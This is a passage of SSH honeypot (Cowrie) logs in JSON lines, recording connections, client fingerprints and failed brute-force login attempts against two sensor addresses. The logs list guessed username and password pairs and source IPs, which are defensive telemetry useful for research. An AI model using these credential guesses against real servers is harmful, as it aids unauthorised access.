-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:39.869524Z","src_ip":"103.98.149.87","session":"9d19bba45a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"concrete","message":"login attempt [root/concrete] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:40.780597Z","src_ip":"103.98.149.87","session":"9d19bba45a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:42.007493Z","src_ip":"103.98.149.87","session":"9d19bba45a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":54282,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba637ec30fe","protocol":"ssh","message":"New connection: 172.190.89.127:54282 (159.203.135.109:22) [session: 9ba637ec30fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:43.121404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:43.124925Z","src_ip":"172.190.89.127","session":"9ba637ec30fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:43.135178Z","src_ip":"172.190.89.127","session":"9ba637ec30fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a5351237","message":"login attempt [root/a5351237] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:43.212504Z","src_ip":"172.190.89.127","session":"9ba637ec30fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":42952,"dst_ip":"10.17.0.5","dst_port":22,"session":"f27a2ac0b0db","protocol":"ssh","message":"New connection: 166.62.89.133:42952 (10.17.0.5:22) [session: f27a2ac0b0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:43.690910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:43.694661Z","src_ip":"166.62.89.133","session":"f27a2ac0b0db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:43.762315Z","src_ip":"166.62.89.133","session":"f27a2ac0b0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stake456","message":"login attempt [root/stake456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:43.958838Z","src_ip":"166.62.89.133","session":"f27a2ac0b0db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:44.225233Z","src_ip":"172.190.89.127","session":"9ba637ec30fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:45.026078Z","src_ip":"166.62.89.133","session":"f27a2ac0b0db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":48648,"dst_ip":"159.203.135.109","dst_port":22,"session":"f954feb51fc0","protocol":"ssh","message":"New connection: 41.242.115.84:48648 (159.203.135.109:22) [session: f954feb51fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:45.837157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:45.840641Z","src_ip":"41.242.115.84","session":"f954feb51fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:46.049603Z","src_ip":"41.242.115.84","session":"f954feb51fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456!@#","message":"login attempt [root/aa123456!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:46.922068Z","src_ip":"41.242.115.84","session":"f954feb51fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:48.134424Z","src_ip":"41.242.115.84","session":"f954feb51fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":60856,"dst_ip":"10.17.0.5","dst_port":22,"session":"604fdd48fb63","protocol":"ssh","message":"New connection: 91.92.40.176:60856 (10.17.0.5:22) [session: 604fdd48fb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:50.970173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:50.974192Z","src_ip":"91.92.40.176","session":"604fdd48fb63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:51.056310Z","src_ip":"91.92.40.176","session":"604fdd48fb63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"admin","message":"login attempt [apache/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:51.682939Z","src_ip":"91.92.40.176","session":"604fdd48fb63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:52.765908Z","src_ip":"91.92.40.176","session":"604fdd48fb63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":44054,"dst_ip":"10.17.0.5","dst_port":22,"session":"51887ae840fd","protocol":"ssh","message":"New connection: 143.20.185.207:44054 (10.17.0.5:22) [session: 51887ae840fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:09.425919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:09.428593Z","src_ip":"143.20.185.207","session":"51887ae840fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:09.548437Z","src_ip":"143.20.185.207","session":"51887ae840fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined8VCPU16GBAMD","message":"login attempt [root/undefined8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:09.906479Z","src_ip":"143.20.185.207","session":"51887ae840fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:11.035255Z","src_ip":"143.20.185.207","session":"51887ae840fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":59284,"dst_ip":"159.203.135.109","dst_port":22,"session":"b56fb61343f3","protocol":"ssh","message":"New connection: 198.1.75.59:59284 (159.203.135.109:22) [session: b56fb61343f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:14.144024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:14.151033Z","src_ip":"198.1.75.59","session":"b56fb61343f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:14.239825Z","src_ip":"198.1.75.59","session":"b56fb61343f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samourai","password":"S@f3!P#ssw0rd$33","message":"login attempt [samourai/S@f3!P#ssw0rd$33] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:14.507412Z","src_ip":"198.1.75.59","session":"b56fb61343f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:15.598970Z","src_ip":"198.1.75.59","session":"b56fb61343f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50550,"dst_ip":"159.203.135.109","dst_port":22,"session":"902a64b47c63","protocol":"ssh","message":"New connection: 51.250.105.222:50550 (159.203.135.109:22) [session: 902a64b47c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:21.302449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:21.305826Z","src_ip":"51.250.105.222","session":"902a64b47c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:21.429088Z","src_ip":"51.250.105.222","session":"902a64b47c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:21.802827Z","src_ip":"51.250.105.222","session":"902a64b47c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:22.929561Z","src_ip":"51.250.105.222","session":"902a64b47c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":50134,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd98e602bb6e","protocol":"ssh","message":"New connection: 192.169.244.109:50134 (10.17.0.5:22) [session: dd98e602bb6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:27.440029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:27.443722Z","src_ip":"192.169.244.109","session":"dd98e602bb6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:27.508496Z","src_ip":"192.169.244.109","session":"dd98e602bb6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"washington_usa","password":"washington123","message":"login attempt [washington_usa/washington123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:27.704951Z","src_ip":"192.169.244.109","session":"dd98e602bb6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:28.772381Z","src_ip":"192.169.244.109","session":"dd98e602bb6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":50778,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb08e190a7c5","protocol":"ssh","message":"New connection: 198.57.219.18:50778 (159.203.135.109:22) [session: eb08e190a7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:32.970971Z"}
